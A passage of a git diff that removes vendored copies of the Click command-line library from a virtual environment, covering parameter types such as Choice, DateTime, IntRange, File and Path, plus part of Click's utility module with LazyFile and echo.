tuple[_ValueT_co, ...] - case_sensitive: bool -else: - - class ChoiceInfoDict(ParamTypeInfoDict): - choices: tuple[t.Any, ...] - case_sensitive: bool - - -class Choice(ParamType[_ValueT_co], t.Generic[_ValueT_co]): - """The choice type allows a value to be checked against a fixed set - of supported values. - - You may pass any iterable value which will be converted to a tuple - and thus will only be iterated once. - - The resulting value will always be one of the originally passed choices. - See :meth:`normalize_choice` for more info on the mapping of strings - to choices. See :ref:`choice-opts` for an example. - - :param case_sensitive: Set to false to make choices case - insensitive. Defaults to true. - - .. versionchanged:: 8.4.0 - Now generic in the choice value type. Parameterize with the type of - the choice values (``Choice[HashType]`` for an enum, ``Choice[str]`` - for plain strings) to enable type-checked consumers. - - .. versionchanged:: 8.2.0 - Non-``str`` ``choices`` are now supported. It can additionally be any - iterable. Before you were not recommended to pass anything but a list or - tuple. - - .. versionadded:: 8.2.0 - Choice normalization can be overridden via :meth:`normalize_choice`. - """ - - name: str = "choice" - - choices: tuple[_ValueT_co, ...] - case_sensitive: bool - - def __init__( - self, choices: cabc.Iterable[_ValueT_co], case_sensitive: bool = True - ) -> None: - self.choices = tuple(choices) - self.case_sensitive = case_sensitive - - def to_info_dict(self) -> ChoiceInfoDict[_ValueT_co]: - return { - "choices": self.choices, - "case_sensitive": self.case_sensitive, - **super().to_info_dict(), - } - - def _normalized_mapping( - self, ctx: Context | None = None - ) -> cabc.Mapping[_ValueT_co, str]: - """ - Returns mapping where keys are the original choices and the values are - the normalized values that are accepted via the command line. - - This is a simple wrapper around :meth:`normalize_choice`, use that - instead which is supported. - """ - return { - choice: self.normalize_choice( - choice=choice, - ctx=ctx, - ) - for choice in self.choices - } - - def normalize_choice(self, choice: object, ctx: Context | None) -> str: - """ - Normalize a choice value, used to map a passed string to a choice. - Each choice must have a unique normalized value. - - By default uses :meth:`Context.token_normalize_func` and if not case - sensitive, convert it to a casefolded value. - - .. versionadded:: 8.2.0 - """ - normed_value = choice.name if isinstance(choice, enum.Enum) else str(choice) - - if ctx is not None and ctx.token_normalize_func is not None: - normed_value = ctx.token_normalize_func(normed_value) - - if not self.case_sensitive: - normed_value = normed_value.casefold() - - return normed_value - - def get_metavar(self, param: Parameter, ctx: Context) -> str | None: - if param.param_type_name == "option" and not param.show_choices: # type: ignore[attr-defined] - choice_metavars = [ - convert_type(type(choice)).name.upper() for choice in self.choices - ] - choices_str = "|".join([*dict.fromkeys(choice_metavars)]) - else: - choices_str = "|".join( - [str(i) for i in self._normalized_mapping(ctx=ctx).values()] - ) - - # Use curly braces to indicate a required argument. - if param.required and param.param_type_name == "argument": - return f"{{{choices_str}}}" - - # Use square braces to indicate an option or optional argument. - return f"[{choices_str}]" - - def get_missing_message(self, param: Parameter, ctx: Context | None) -> str: - """ - Message shown when no choice is passed. - - .. versionchanged:: 8.2.0 Added ``ctx`` argument. - """ - return _("Choose from:\n\t{choices}").format( - choices=",\n\t".join(self._normalized_mapping(ctx=ctx).values()) - ) - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> _ValueT_co: - """ - For a given value from the parser, normalize it and find its - matching normalized value in the list of choices. Then return the - matched "original" choice. - """ - normed_value = self.normalize_choice(choice=value, ctx=ctx) - normalized_mapping = self._normalized_mapping(ctx=ctx) - - try: - return next( - original - for original, normalized in normalized_mapping.items() - if normalized == normed_value - ) - except StopIteration: - self.fail( - self.get_invalid_choice_message(value=value, ctx=ctx), - param=param, - ctx=ctx, - ) - - def get_invalid_choice_message(self, value: t.Any, ctx: Context | None) -> str: - """Get the error message when the given choice is invalid. - - :param value: The invalid value. - - .. versionadded:: 8.2 - """ - choices_str = ", ".join(map(repr, self._normalized_mapping(ctx=ctx).values())) - return ngettext( - "{value!r} is not {choice}.", - "{value!r} is not one of {choices}.", - len(self.choices), - ).format(value=value, choice=choices_str, choices=choices_str) - - def __repr__(self) -> str: - return _("Choice({choices})").format(choices=list(self.choices)) - - def shell_complete( - self, ctx: Context, param: Parameter, incomplete: str - ) -> list[CompletionItem]: - """Complete choices that start with the incomplete value. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - str_choices = [self.normalize_choice(choice, ctx) for choice in self.choices] - if self.case_sensitive: - matched = (c for c in str_choices if c.startswith(incomplete)) - else: - incomplete = incomplete.lower() - matched = (c for c in str_choices if c.lower().startswith(incomplete)) - - return [CompletionItem(c) for c in matched] - - -class DateTimeInfoDict(ParamTypeInfoDict): - formats: cabc.Sequence[str] - - -class DateTime(ParamType[datetime]): - """The DateTime type converts date strings into `datetime` objects. - - The format strings which are checked are configurable, but default to some - common (non-timezone aware) ISO 8601 formats. - - When specifying *DateTime* formats, you should only pass a list or a tuple. - Other iterables, like generators, may lead to surprising results. - - The format strings are processed using ``datetime.strptime``, and this - consequently defines the format strings which are allowed. - - Parsing is tried using each format, in order, and the first format which - parses successfully is used. - - :param formats: A list or tuple of date format strings, in the order in - which they should be tried. Defaults to - ``'%Y-%m-%d'``, ``'%Y-%m-%dT%H:%M:%S'``, - ``'%Y-%m-%d %H:%M:%S'``. - """ - - name = "datetime" - - formats: cabc.Sequence[str] - - def __init__(self, formats: cabc.Sequence[str] | None = None): - self.formats = formats or [ - "%Y-%m-%d", - "%Y-%m-%dT%H:%M:%S", - "%Y-%m-%d %H:%M:%S", - ] - - def to_info_dict(self) -> DateTimeInfoDict: - return {"formats": self.formats, **super().to_info_dict()} - - def get_metavar(self, param: Parameter, ctx: Context) -> str: - return f"[{'|'.join(self.formats)}]" - - def _try_to_convert_date(self, value: t.Any, format: str) -> datetime | None: - try: - return datetime.strptime(value, format) - except ValueError: - return None - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> datetime: - if isinstance(value, datetime): - return value - - for format in self.formats: - converted = self._try_to_convert_date(value, format) - - if converted is not None: - return converted - - formats_str = ", ".join(map(repr, self.formats)) - self.fail( - ngettext( - "{value!r} does not match the format {format}.", - "{value!r} does not match the formats {formats}.", - len(self.formats), - ).format(value=value, format=formats_str, formats=formats_str), - param, - ctx, - ) - - def __repr__(self) -> str: - return "DateTime" - - -class _NumberParamTypeBase( - ParamType[_ValueT_co], t.Generic[_ValueT_contra, _ValueT_co] -): - _number_class: t.Callable[[_ValueT_contra], _ValueT_co] - - def convert( - self, value: _ValueT_contra, param: Parameter | None, ctx: Context | None - ) -> _ValueT_co: - try: - return self._number_class(value) - except ValueError: - self.fail( - _("{value!r} is not a valid {number_type}.").format( - value=value, number_type=self.name - ), - param, - ctx, - ) - - -if t.TYPE_CHECKING: - # on Python 3.10 this will raise a TypeError - - class NumberRangeInfoDict(ParamTypeInfoDict, t.Generic[_FloatValueT_co]): - min: _FloatValueT_co | None - max: _FloatValueT_co | None - min_open: bool - max_open: bool - clamp: bool -else: - - class NumberRangeInfoDict(ParamTypeInfoDict): - min: t.Any | None - max: t.Any | None - min_open: bool - max_open: bool - clamp: bool - - -class _NumberRangeBase( - _NumberParamTypeBase[_ValueT_contra, _FloatValueT_co], - t.Generic[_ValueT_contra, _FloatValueT_co], -): - min: _FloatValueT_co | None - max: _FloatValueT_co | None - min_open: bool - max_open: bool - clamp: bool - - def __init__( - self, - min: _FloatValueT_co | None = None, - max: _FloatValueT_co | None = None, - min_open: bool = False, - max_open: bool = False, - clamp: bool = False, - ) -> None: - self.min = min - self.max = max - self.min_open = min_open - self.max_open = max_open - self.clamp = clamp - - def to_info_dict(self) -> NumberRangeInfoDict[_FloatValueT_co]: - return { - "min": self.min, - "max": self.max, - "min_open": self.min_open, - "max_open": self.max_open, - "clamp": self.clamp, - **super().to_info_dict(), - } - - def convert( - self, value: _ValueT_contra, param: Parameter | None, ctx: Context | None - ) -> _FloatValueT_co: - import operator - - rv = super().convert(value, param, ctx) - min = self.min - max = self.max - lt_min: bool = min is not None and ( - operator.le if self.min_open else operator.lt - )(rv, min) - gt_max: bool = max is not None and ( - operator.ge if self.max_open else operator.gt - )(rv, max) - - if self.clamp: - if min is not None and lt_min: - return self._clamp(min, 1, self.min_open) - - if max is not None and gt_max: - return self._clamp(max, -1, self.max_open) - - if lt_min or gt_max: - self.fail( - _("{value} is not in the range {range}.").format( - value=rv, range=self._describe_range() - ), - param, - ctx, - ) - - return rv - - @abc.abstractmethod - def _clamp( - # Covariant type variables cannot be used in input positions, so we use a - # separate method-scoped type variable instead. - self: _NumberRangeBase[t.Any, _FloatValueT], - bound: _FloatValueT, - dir: t.Literal[1, -1], - open: bool, - ) -> _FloatValueT: - """Find the valid value to clamp to bound in the given - direction. - - :param bound: The boundary value. - :param dir: 1 or -1 indicating the direction to move. - :param open: If true, the range does not include the bound. - """ - ... - - def _describe_range(self) -> str: - """Describe the range for use in help text.""" - if self.min is None: - op = "<" if self.max_open else "<=" - return f"x{op}{self.max}" - - if self.max is None: - op = ">" if self.min_open else ">=" - return f"x{op}{self.min}" - - lop = "<" if self.min_open else "<=" - rop = "<" if self.max_open else "<=" - return f"{self.min}{lop}x{rop}{self.max}" - - def __repr__(self) -> str: - clamp = " clamped" if self.clamp else "" - return f"<{type(self).__name__} {self._describe_range()}{clamp}>" - - -class IntParamType(_NumberParamTypeBase[t.SupportsInt | t.SupportsIndex, int]): - name = "integer" - _number_class = int - - def __repr__(self) -> str: - return "INT" - - -class IntRange(_NumberRangeBase[int, int], IntParamType): - """Restrict an :data:`click.INT` value to a range of accepted - values. See :ref:`ranges`. - - If ``min`` or ``max`` are not passed, any value is accepted in that - direction. If ``min_open`` or ``max_open`` are enabled, the - corresponding boundary is not included in the range. - - If ``clamp`` is enabled, a value outside the range is clamped to the - boundary instead of failing. - - .. versionchanged:: 8.0 - Added the ``min_open`` and ``max_open`` parameters. - """ - - name = "integer range" - - def _clamp(self, bound: int, dir: t.Literal[1, -1], open: bool) -> int: - if not open: - return bound - - return bound + dir - - -class FloatParamType(_NumberParamTypeBase[t.SupportsFloat | t.SupportsIndex, float]): - name = "float" - _number_class = float - - def __repr__(self) -> str: - return "FLOAT" - - -class FloatRange(_NumberRangeBase[float, float], FloatParamType): - """Restrict a :data:`click.FLOAT` value to a range of accepted - values. See :ref:`ranges`. - - If ``min`` or ``max`` are not passed, any value is accepted in that - direction. If ``min_open`` or ``max_open`` are enabled, the - corresponding boundary is not included in the range. - - If ``clamp`` is enabled, a value outside the range is clamped to the - boundary instead of failing. This is not supported if either - boundary is marked ``open``. - - .. versionchanged:: 8.0 - Added the ``min_open`` and ``max_open`` parameters. - """ - - name = "float range" - - def __init__( - self, - min: float | None = None, - max: float | None = None, - min_open: bool = False, - max_open: bool = False, - clamp: bool = False, - ) -> None: - super().__init__( - min=min, max=max, min_open=min_open, max_open=max_open, clamp=clamp - ) - - if (min_open or max_open) and clamp: - raise TypeError("Clamping is not supported for open bounds.") - - def _clamp(self, bound: float, dir: t.Literal[1, -1], open: bool) -> float: - if not open: - return bound - - # Could use math.nextafter here, but clamping an - # open float range doesn't seem to be particularly useful. It's - # left up to the user to write a callback to do it if needed. - raise RuntimeError("Clamping is not supported for open bounds.") - - -class BoolParamType(ParamType[bool]): - name = "boolean" - - bool_states: dict[str, bool] = { - "1": True, - "0": False, - "yes": True, - "no": False, - "true": True, - "false": False, - "on": True, - "off": False, - "t": True, - "f": False, - "y": True, - "n": False, - # Absence of value is considered False. - "": False, - } - """A mapping of string values to boolean states. - - Mapping is inspired by :py:attr:`configparser.ConfigParser.BOOLEAN_STATES` - and extends it. - - .. caution:: - String values are lower-cased, as the ``str_to_bool`` comparison function - below is case-insensitive. - - .. warning:: - The mapping is not exhaustive, and does not cover all possible boolean strings - representations. It will remains as it is to avoid endless bikeshedding. - - Future work my be considered to make this mapping user-configurable from public - API. - """ - - @staticmethod - def str_to_bool(value: str | bool) -> bool | None: - """Convert a string to a boolean value. - - If the value is already a boolean, it is returned as-is. If the value is a - string, it is stripped of whitespaces and lower-cased, then checked against - the known boolean states pre-defined in the `BoolParamType.bool_states` mapping - above. - - Returns `None` if the value does not match any known boolean state. - """ - if isinstance(value, bool): - return value - return BoolParamType.bool_states.get(value.strip().lower()) - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> bool: - normalized = self.str_to_bool(value) - if normalized is None: - self.fail( - _( - "{value!r} is not a valid boolean. Recognized values: {states}" - ).format(value=value, states=", ".join(sorted(self.bool_states))), - param, - ctx, - ) - return normalized - - def __repr__(self) -> str: - return "BOOL" - - -class UUIDParameterType(ParamType[uuid.UUID]): - name = "uuid" - - def convert( - self, value: uuid.UUID | str, param: Parameter | None, ctx: Context | None - ) -> uuid.UUID: - if isinstance(value, uuid.UUID): - return value - - value = value.strip() - - try: - return uuid.UUID(value) - except ValueError: - self.fail( - _("{value!r} is not a valid UUID.").format(value=value), param, ctx - ) - - def __repr__(self) -> str: - return "UUID" - - -class FileInfoDict(ParamTypeInfoDict): - mode: str - encoding: str | None - - -class File(ParamType[t.IO[t.Any]]): - """Declares a parameter to be a file for reading or writing. The file - is automatically closed once the context tears down (after the command - finished working). - - Files can be opened for reading or writing. The special value ``-`` - indicates stdin or stdout depending on the mode. - - By default, the file is opened for reading text data, but it can also be - opened in binary mode or for writing. The encoding parameter can be used - to force a specific encoding. - - The `lazy` flag controls if the file should be opened immediately or upon - first IO. The default is to be non-lazy for standard input and output - streams as well as files opened for reading, `lazy` otherwise. When opening a - file lazily for reading, it is still opened temporarily for validation, but - will not be held open until first IO. lazy is mainly useful when opening - for writing to avoid creating the file until it is needed. - - Files can also be opened atomically in which case all writes go into a - separate file in the same folder and upon completion the file will - be moved over to the original location. This is useful if a file - regularly read by other users is modified. - - See :ref:`file-args` for more information. - - .. versionchanged:: 2.0 - Added the ``atomic`` parameter. - """ - - name = "filename" - envvar_list_splitter: t.ClassVar[str] = os.path.pathsep - - mode: str - encoding: str | None - errors: str | None - lazy: bool | None - atomic: bool - - def __init__( - self, - mode: str = "r", - encoding: str | None = None, - errors: str | None = "strict", - lazy: bool | None = None, - atomic: bool = False, - ) -> None: - self.mode = mode - self.encoding = encoding - self.errors = errors - self.lazy = lazy - self.atomic = atomic - - def to_info_dict(self) -> FileInfoDict: - return { - "mode": self.mode, - "encoding": self.encoding, - **super().to_info_dict(), - } - - def resolve_lazy_flag(self, value: str | os.PathLike[str]) -> bool: - if self.lazy is not None: - return self.lazy - if os.fspath(value) == "-": - return False - elif "w" in self.mode: - return True - return False - - def convert( - self, - value: str | os.PathLike[str] | t.IO[t.Any], - param: Parameter | None, - ctx: Context | None, - ) -> t.IO[t.Any]: - if _is_file_like(value): - return value - - try: - lazy = self.resolve_lazy_flag(value) - - if lazy: - lf = LazyFile( - value, self.mode, self.encoding, self.errors, atomic=self.atomic - ) - - if ctx is not None: - ctx.call_on_close(lf.close_intelligently) - - return t.cast("t.IO[t.Any]", lf) - - f, should_close = open_stream( - value, self.mode, self.encoding, self.errors, atomic=self.atomic - ) - - # If a context is provided, we automatically close the file - # at the end of the context execution (or flush out). If a - # context does not exist, it's the caller's responsibility to - # properly close the file. This for instance happens when the - # type is used with prompts. - if ctx is not None: - if should_close: - ctx.call_on_close(safecall(f.close)) - else: - ctx.call_on_close(safecall(f.flush)) - - return f - except OSError as e: - self.fail( - f"'{format_filename(value)}': {e.strerror}", - param, - ctx, - ) - - def shell_complete( - self, ctx: Context, param: Parameter, incomplete: str - ) -> list[CompletionItem]: - """Return a special completion marker that tells the completion - system to use the shell to provide file path completions. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - return [CompletionItem(incomplete, type="file")] - - -def _is_file_like(value: t.Any) -> te.TypeIs[t.IO[t.Any]]: - return hasattr(value, "read") or hasattr(value, "write") - - -class PathInfoDict(ParamTypeInfoDict): - exists: bool - file_okay: bool - dir_okay: bool - writable: bool - readable: bool - allow_dash: bool - - -class Path(ParamType[str | bytes | os.PathLike[str]]): - """The ``Path`` type is similar to the :class:`File` type, but - returns the filename instead of an open file. Various checks can be - enabled to validate the type of file and permissions. - - :param exists: The file or directory needs to exist for the value to - be valid. If this is not set to ``True``, and the file does not - exist, then all further checks are silently skipped. - :param file_okay: Allow a file as a value. - :param dir_okay: Allow a directory as a value. - :param readable: if true, a readable check is performed. - :param writable: if true, a writable check is performed. - :param executable: if true, an executable check is performed. - :param resolve_path: Make the value absolute and resolve any - symlinks. A ``~`` is not expanded, as this is supposed to be - done by the shell only. - :param allow_dash: Allow a single dash as a value, which indicates - a standard stream (but does not open it). Use - :func:`~click.open_file` to handle opening this value. - :param path_type: Convert the incoming path value to this type. If - ``None``, keep Python's default, which is ``str``. Useful to - convert to :class:`pathlib.Path`. - - .. versionchanged:: 8.1 - Added the ``executable`` parameter. - - .. versionchanged:: 8.0 - Allow passing ``path_type=pathlib.Path``. - - .. versionchanged:: 6.0 - Added the ``allow_dash`` parameter. - """ - - envvar_list_splitter: t.ClassVar[str] = os.path.pathsep - - exists: bool - file_okay: bool - dir_okay: bool - readable: bool - writable: bool - executable: bool - resolve_path: bool - allow_dash: bool - name: str - - def __init__( - self, - exists: bool = False, - file_okay: bool = True, - dir_okay: bool = True, - writable: bool = False, - readable: bool = True, - resolve_path: bool = False, - allow_dash: bool = False, - path_type: type | None = None, - executable: bool = False, - ) -> None: - self.exists = exists - self.file_okay = file_okay - self.dir_okay = dir_okay - self.readable = readable - self.writable = writable - self.executable = executable - self.resolve_path = resolve_path - self.allow_dash = allow_dash - self.type: type | None = path_type - - if self.file_okay and not self.dir_okay: - self.name = _("file") - elif self.dir_okay and not self.file_okay: - self.name = _("directory") - else: - self.name = _("path") - - def to_info_dict(self) -> PathInfoDict: - return { - "exists": self.exists, - "file_okay": self.file_okay, - "dir_okay": self.dir_okay, - "writable": self.writable, - "readable": self.readable, - "allow_dash": self.allow_dash, - **super().to_info_dict(), - } - - def coerce_path_result( - self, value: str | os.PathLike[str] - ) -> str | bytes | os.PathLike[str]: - if self.type is not None and not isinstance(value, self.type): - if self.type is str: - return os.fsdecode(value) - elif self.type is bytes: - return os.fsencode(value) - else: - return t.cast("os.PathLike[str]", self.type(value)) - - return value - - def convert( - self, - value: str | os.PathLike[str], - param: Parameter | None, - ctx: Context | None, - ) -> str | bytes | os.PathLike[str]: - rv = value - - is_dash = self.file_okay and self.allow_dash and rv in (b"-", "-") - - if not is_dash: - if self.resolve_path: - rv = os.path.realpath(rv) - - try: - st = os.stat(rv) - except OSError: - if not self.exists: - return self.coerce_path_result(rv) - self.fail( - _("{name} {filename!r} does not exist.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if not self.file_okay and stat.S_ISREG(st.st_mode): - self.fail( - _("{name} {filename!r} is a file.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - if not self.dir_okay and stat.S_ISDIR(st.st_mode): - self.fail( - _("{name} {filename!r} is a directory.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if self.readable and not os.access(rv, os.R_OK): - self.fail( - _("{name} {filename!r} is not readable.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if self.writable and not os.access(rv, os.W_OK): - self.fail( - _("{name} {filename!r} is not writable.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if self.executable and not os.access(value, os.X_OK): - self.fail( - _("{name} {filename!r} is not executable.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - return self.coerce_path_result(rv) - - def shell_complete( - self, ctx: Context, param: Parameter, incomplete: str - ) -> list[CompletionItem]: - """Return a special completion marker that tells the completion - system to use the shell to provide path completions for only - directories or any paths. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - type = "dir" if self.dir_okay and not self.file_okay else "file" - return [CompletionItem(incomplete, type=type)] - - -class TupleInfoDict(ParamTypeInfoDict): - types: cabc.Sequence[ParamTypeInfoDict] - - -class Tuple(CompositeParamType[tuple[t.Any, ...]]): - """The default behavior of Click is to apply a type on a value directly. - This works well in most cases, except for when `nargs` is set to a fixed - count and different types should be used for different items. In this - case the :class:`Tuple` type can be used. This type can only be used - if `nargs` is set to a fixed number. - - For more information see :ref:`tuple-type`. - - This can be selected by using a Python tuple literal as a type. - - :param types: a list of types that should be used for the tuple items. - """ - - def __init__(self, types: cabc.Sequence[type[t.Any] | ParamType[t.Any]]) -> None: - self.types: cabc.Sequence[ParamType[t.Any]] = [convert_type(ty) for ty in types] - - def to_info_dict(self) -> TupleInfoDict: - return { - "types": [ty.to_info_dict() for ty in self.types], - **super().to_info_dict(), - } - - @property - def name(self) -> str: # type: ignore[override] - return f"<{' '.join(ty.name for ty in self.types)}>" - - @property - def arity(self) -> int: # type: ignore[override] - return len(self.types) - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> tuple[t.Any, ...]: - len_type = len(self.types) - len_value = len(value) - - if len_value != len_type: - self.fail( - ngettext( - "{len_type} values are required, but {len_value} was given.", - "{len_type} values are required, but {len_value} were given.", - len_value, - ).format(len_type=len_type, len_value=len_value), - param=param, - ctx=ctx, - ) - - return tuple( - ty(x, param, ctx) for ty, x in zip(self.types, value, strict=False) - ) - - -def _guess_type( - ty: type[t.Any] | ParamType[t.Any] | None, - default: t.Any | None, -) -> type[t.Any] | tuple[type[t.Any], ...] | ParamType[t.Any] | None: - """Infer a type from *ty* or *default*. - - Returns *ty* unchanged when it is not ``None``. Otherwise inspects - *default* to produce a ``type``, a ``tuple`` of types (for tuple - defaults), or ``None``. - """ - if ty is not None: - return ty - - if default is None: - return None - - if not isinstance(default, (tuple, list)): - return type(default) - - # If the default is empty, return None so convert_type falls - # through to STRING. - if not default: - return None - - item = default[0] - - # A sequence of iterables needs to detect the inner types. - # Can't call convert_type recursively because that would - # incorrectly unwind the tuple to a single type. - if isinstance(item, (tuple, list)): - return tuple(map(type, item)) - - return type(item) - - -@t.overload -def convert_type(ty: None, default: None = None) -> StringParamType: ... -@t.overload -def convert_type( - ty: type | ParamType[t.Any], default: t.Any | None = None -) -> ParamType[t.Any]: ... -@t.overload -def convert_type( - ty: t.Any | None, default: t.Any | None = None -) -> ParamType[t.Any]: ... -def convert_type( - ty: t.Any | None = None, default: t.Any | None = None -) -> ParamType[t.Any]: - """Find the most appropriate :class:`ParamType` for the given Python - type. If the type isn't provided, it can be inferred from a default - value. - """ - guessed = _guess_type(ty, default) - is_guessed = guessed is not ty - - if isinstance(guessed, tuple): - return Tuple(guessed) - - if isinstance(guessed, ParamType): - return guessed - - if guessed is str or guessed is None: - return STRING - - if guessed is int: - return INT - - if guessed is float: - return FLOAT - - if guessed is bool: - return BOOL - - if is_guessed: - return STRING - - if __debug__: - try: - if issubclass(guessed, ParamType): - raise AssertionError( - f"Attempted to use an uninstantiated parameter type ({guessed})." - ) - except TypeError: - # guessed is an instance (correct), so issubclass fails. - pass - - return FuncParamType(guessed) - - -#: A dummy parameter type that just does nothing. From a user's -#: perspective this appears to just be the same as `STRING` but -#: internally no string conversion takes place if the input was bytes. -#: This is usually useful when working with file paths as they can -#: appear in bytes and unicode. -#: -#: For path related uses the :class:`Path` type is a better choice but -#: there are situations where an unprocessed type is useful which is why -#: it is provided. -#: -#: .. versionadded:: 4.0 -UNPROCESSED: t.Final[UnprocessedParamType] = UnprocessedParamType() - -#: A unicode string parameter type which is the implicit default. This -#: can also be selected by using ``str`` as type. -STRING: t.Final[StringParamType] = StringParamType() - -#: An integer parameter. This can also be selected by using ``int`` as -#: type. -INT: t.Final[IntParamType] = IntParamType() - -#: A floating point value parameter. This can also be selected by using -#: ``float`` as type. -FLOAT: t.Final[FloatParamType] = FloatParamType() - -#: A boolean parameter. This is the default for boolean flags. This can -#: also be selected by using ``bool`` as a type. -BOOL: t.Final[BoolParamType] = BoolParamType() - -#: A UUID parameter. -UUID: t.Final[UUIDParameterType] = UUIDParameterType() - - -class OptionHelpExtra(t.TypedDict, total=False): - envvars: tuple[str, ...] - default: str - range: str - required: str diff --git a/venv/Lib/site-packages/click/utils.py b/venv/Lib/site-packages/click/utils.py deleted file mode 100644 index c0cb22d683b4ea2ff3b035efdf1e6ef392b08367..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/utils.py +++ /dev/null @@ -1,653 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import os -import re -import sys -import typing as t -from functools import update_wrapper -from gettext import gettext as _ -from types import ModuleType -from types import TracebackType - -from ._compat import _default_text_stderr -from ._compat import _default_text_stdout -from ._compat import _find_binary_writer -from ._compat import auto_wrap_for_ansi -from ._compat import binary_streams -from ._compat import open_stream -from ._compat import should_strip_ansi -from ._compat import strip_ansi -from ._compat import text_streams -from ._compat import WIN -from .globals import resolve_color_default - -if t.TYPE_CHECKING: - import typing_extensions as te - - P = te.ParamSpec("P") - -R = t.TypeVar("R") - - -def _posixify(name: str) -> str: - return "-".join(name.split()).lower() - - -def safecall(func: t.Callable[P, R]) -> t.Callable[P, R | None]: - """Wraps a function so that it swallows exceptions.""" - - def wrapper(*args: P.args, **kwargs: P.kwargs) -> R | None: - try: - return func(*args, **kwargs) - except Exception: - pass - return None - - return update_wrapper(wrapper, func) - - -def make_str(value: t.Any) -> str: - """Converts a value into a valid string.""" - if isinstance(value, bytes): - try: - return value.decode(sys.getfilesystemencoding()) - except UnicodeError: - return value.decode("utf-8", "replace") - return str(value) - - -def make_default_short_help(help: str, max_length: int = 45) -> str: - """Returns a condensed version of help string. - - :meta private: - """ - # Consider only the first paragraph. - paragraph_end = help.find("\n\n") - - if paragraph_end != -1: - help = help[:paragraph_end] - - # Collapse newlines, tabs, and spaces. - words = help.split() - - if not words: - return "" - - # The first paragraph started with a "no rewrap" marker, ignore it. - if words[0] == "\b": - words = words[1:] - - total_length = 0 - last_index = len(words) - 1 - - for i, word in enumerate(words): - total_length += len(word) + (i > 0) - - if total_length > max_length: # too long, truncate - break - - if word[-1] == ".": # sentence end, truncate without "..." - return " ".join(words[: i + 1]) - - if total_length == max_length and i != last_index: - break # not at sentence end, truncate with "..." - else: - return " ".join(words) # no truncation needed - - # Account for the length of the suffix. - total_length += len("...") - - # remove words until the length is short enough - while i > 0: - total_length -= len(words[i]) + (i > 0) - - if total_length <= max_length: - break - - i -= 1 - - return " ".join(words[:i]) + "..." - - -class LazyFile: - """A lazy file works like a regular file but it does not fully open - the file but it does perform some basic checks early to see if the - filename parameter does make sense. This is useful for safely opening - files for writing. - """ - - name: str - mode: str - encoding: str | None - errors: str | None - atomic: bool - _f: t.IO[t.Any] | None - should_close: bool - - def __init__( - self, - filename: str | os.PathLike[str], - mode: str = "r", - encoding: str | None = None, - errors: str | None = "strict", - atomic: bool = False, - ) -> None: - self.name = os.fspath(filename) - self.mode = mode - self.encoding = encoding - self.errors = errors - self.atomic = atomic - - if self.name == "-": - self._f, self.should_close = open_stream(filename, mode, encoding, errors) - else: - if "r" in mode: - # Open and close the file in case we're opening it for - # reading so that we can catch at least some errors in - # some cases early. - open(filename, mode).close() - self._f = None - self.should_close = True - - def __getattr__(self, name: str) -> t.Any: - return getattr(self.open(), name) - - def __repr__(self) -> str: - if self._f is not None: - return repr(self._f) - return f"" - - def open(self) -> t.IO[t.Any]: - """Opens the file if it's not yet open. This call might fail with - a :exc:`FileError`. Not handling this error will produce an error - that Click shows. - """ - if self._f is not None: - return self._f - try: - rv, self.should_close = open_stream( - self.name, self.mode, self.encoding, self.errors, atomic=self.atomic - ) - except OSError as e: - from .exceptions import FileError - - raise FileError(self.name, hint=e.strerror) from e - self._f = rv - return rv - - def close(self) -> None: - """Closes the underlying file, no matter what.""" - if self._f is not None: - self._f.close() - - def close_intelligently(self) -> None: - """This function only closes the file if it was opened by the lazy - file wrapper. For instance this will never close stdin. - """ - if self.should_close: - self.close() - - def __enter__(self) -> LazyFile: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> None: - self.close_intelligently() - - def __iter__(self) -> cabc.Iterator[t.AnyStr]: - self.open() - return iter(self._f) # type: ignore - - -class KeepOpenFile: - """Proxy a file object but keep it open across a ``with`` block. - - Wraps a borrowed file (such as ``sys.stdin`` or ``sys.stdout``) so that - leaving a ``with`` block does not close it, as used by :func:`open_file` - for the ``-`` filename. The caller stays responsible for the file: an - explicit :meth:`close` still passes through to the wrapped object. - - Dunder methods are proxied explicitly: implicit special-method lookups - bypass :meth:`__getattr__`, because Python resolves them on the type rather - than the instance. - """ - - _file: t.IO[t.Any] - - def __init__(self, file: t.IO[t.Any]) -> None: - self._file = file - - def __getattr__(self, name: str) -> t.Any: - return getattr(self._file, name) - - def __enter__(self) -> KeepOpenFile: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> None: - pass - - def __repr__(self) -> str: - return repr(self._file) - - def __iter__(self) -> cabc.Iterator[t.AnyStr]: - return iter(self._file) - - -def echo( - message: object = None, - file: t.IO[t.Any] | None = None, - nl: bool = True, - err: bool = False, - color: bool | None = None, -) -> None: - """Print a message and newline to stdout or a file. This should be - used instead of :func:`print` because it provides better support - for different data, files, and environments. - - Compared to :func:`print`, this does the following: - - - Ensures that the output encoding is not misconfigured on Linux. - - Supports Unicode in the Windows console. - - Supports writing to binary outputs, and supports writing bytes - to text outputs. - - Supports colors and styles on Windows. - - Removes ANSI color and style codes if the output does not look - like an interactive terminal. - - Always flushes the output. - - :param message: The string or bytes to output. Other objects are - converted to strings. - :param file: The file to write to. Defaults to ``stdout``. - :param err: Write to ``stderr`` instead of 